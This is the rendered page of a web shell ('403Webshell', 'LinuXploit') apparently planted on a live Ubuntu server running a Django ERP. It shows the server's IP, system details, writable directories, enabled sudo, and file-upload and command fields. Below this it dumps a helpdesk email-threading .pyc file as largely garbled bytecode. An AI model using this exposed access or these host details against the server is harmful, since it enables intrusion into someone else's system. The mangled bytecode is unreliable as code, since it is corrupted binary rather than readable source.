403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/helpdesk/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/helpdesk/__pycache__/threading.cpython-310.pyc
o

hͦh%�@s�dZddlZddlmZddlmZddlmZddlm	Z	ddl
mZddlm
Z
dd	lmZdd
lmZddlmZe�e�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZdS)z>
threading.py

This module is used handle mail sent in thread
�N)�Thread)�settings)�messages)�EmailMessage)�render_to_string)�ConfiguredEmailBackend)�
Department)�EmployeeWorkInformation)�Ticketcs4eZdZdZdd�Zddd�Zd�fd	d
�Z�ZS)
�TicketSendThread�
    MailSend
    cCs�t�|�||_||_||_|j��|_|��|_	|�
�rdnd|_|��}t
|t�r@|j��r;|j����j|_dSd|_dSdS�N�https�http)r�__init__�ticket�type�request�assigned_to�all�	assignees�get_host�host�	is_secure�protocol�get_raised_on_object�
isinstancer�dept_manager�first�manager�department_manager)�selfrrr�	raised_on�r#�"/var/www/erp/helpdesk/threading.pyrs




�zTicketSendThread.__init__�#c
Cs�tjdttj�d�}d}d}t�}|j}	|jr6z|jjj���d|jjjj	�d�}
Wn	t
�t�Y|dkrE|�d|�d|�d	�}|D]4}t
d
||||||d��}t|||	|j	g|
gd�}
d
|
_z|
��WqGt�|jd|�����YqGdS)Nr�rr%� <�>�://�/helpdesk/ticket-detail/�/�(helpdesk/mail_templates/ticket_mail.html��link�instancerr�subject�content�r0�body�
from_email�to�reply_to�html�Mail not sent to )r�BASE_URL�lenr�$dynamic_from_email_with_display_namer�user�employee_get�
get_full_name�email�logger�error�	Exceptionrr�content_subtype�sendr)r!r0r1�
recipients�	ticket_idrrr.�
email_backend�display_email_name�reply_email_name�	recipient�html_messager?r#r#r$�
send_email+sL&�����zTicketSendThread.send_email�returnNcsHt���|jdkr6|jj}t|j�}d|�d�}d}|�||||jj�d}d}|�|||g|jj�dS|jdkr�|j}|jj}|j�	�}|dd	}	|dd
dd}
|dd
dd}d
}d|	�d|�d|
�d�}
|�||
t
|�|hB|jj�dS|jdkr�|j}|jj}d}d|jj�d�}
|�||
t
|�|hB�dS)N�createaThis is to inform you that a ticket has been raised on your department. Take the necessary actions to address the issue or request outlined in the ticket. Should you have any additional information or updates, please feel free to communicate directly with the �.z(Ticket created raised on your departmentaXThis is to inform you that the ticket you created has been successfully logged into our system. The assigned team/individual will now take the necessary actions to address the issue or request outlined in the ticket. Should you have any additional information or updates, please feel free to communicate directly with the Support/Helpdesk team.zTicket created successfully�
status_changer�
updated_by�changes�new�oldz)The Status of the Ticket has been updatedzRThis is to inform you that the status of the following ticket has been updated by z from z to zp. If you have any questions or require further information, feel free to reach out to the Support/Helpdesk team.�deletezThe Ticket has been deletedz'This is to inform you that the Ticket "z�" has been deleted. If you have any questions or require further information, feel free to reach out to the Support/Helpdesk team.)�super�runrr�employee_id�listrrL�id�tracking�set�title)r!�ownerr�content_manager�subject_manager�
content_owner�
subject_ownerrr[rQ�
new_status�
old_statusr0r1��	__class__r#r$rWVs>



�
�
�zTicketSendThread.run)r%�rMN)�__name__�
__module__�__qualname__�__doc__rrLrW�
__classcell__r#r#rer$rs

+rc�*eZdZdZdd�Zd�fdd�Z�ZS)	�AddAssigneeThreadrcC�Bt�|�||_||_||_|��|_|��rd|_dSd|_dSr
�	rrrrErrrrr�r!rrrJr#r#r$r��

zAddAssigneeThread.__init__rMNc
s�t���d}d}tjdttj�d�}d}t�}|j}|jr8z|jjj	�
��d|jjj	j�d�}WnY|�d|�d	|jj
�d
�}|jD]4}	td||	||||d��}
t||
||	jg|gd
�}d|_z|��WqHt�|jd|	�
����YqHdS)N��Please review the ticket details and take appropriate action accordingly. If you have any questions or require further information, feel free to reach out to the owner or the Support/Helpdesk team.z"You have been assigned to a Ticketrr&rr'r(r)r*r+r,r-r2r7r8)rVrWrr9r:rr;rr<r=r>r?rrZrErrrCrDrrA)r!r1r0rrrGrHrIr.rJrKr?rer#r$rW�sN
&
�����zAddAssigneeThread.runrg�rhrirjrkrrWrlr#r#rer$rn��rncrm)	�RemoveAssigneeThreadrcCror
rprqr#r#r$r�rrzRemoveAssigneeThread.__init__rMNc
s�t���d}d}t�}|j}|jr*z|jjj���d|jjjj�d�}WnYt	j
dtt	j
�d�}d}|�d|�d	|jj
�d
�}|jD]4}	td||	||||d��}
t||
||	jg|gd
�}d|_z|��WqHt�|jd|	�����YqHdS)Nrsz#You have been removed from a Ticketr'r(rr&rr)r*r+r,r-r2r7r8)rVrWrr;rr<r=r>r?rr9r:rrZrErrrCrDrrA)r!r1r0rGrHrIrrr.rJrKr?rer#r$rW�sN
&
�����zRemoveAssigneeThread.runrgrtr#r#rer$rv�rurv)rk�logging�	threadingr�django.confr�django.contribr�django.core.mailr�django.template.loaderr�
base.backendsr�base.modelsr�employee.modelsr	�helpdesk.modelsr
�	getLoggerrhr@rrnrvr#r#r#r$�<module>s
o:

Youez - 2016 - github.com/yon3zu
LinuXploit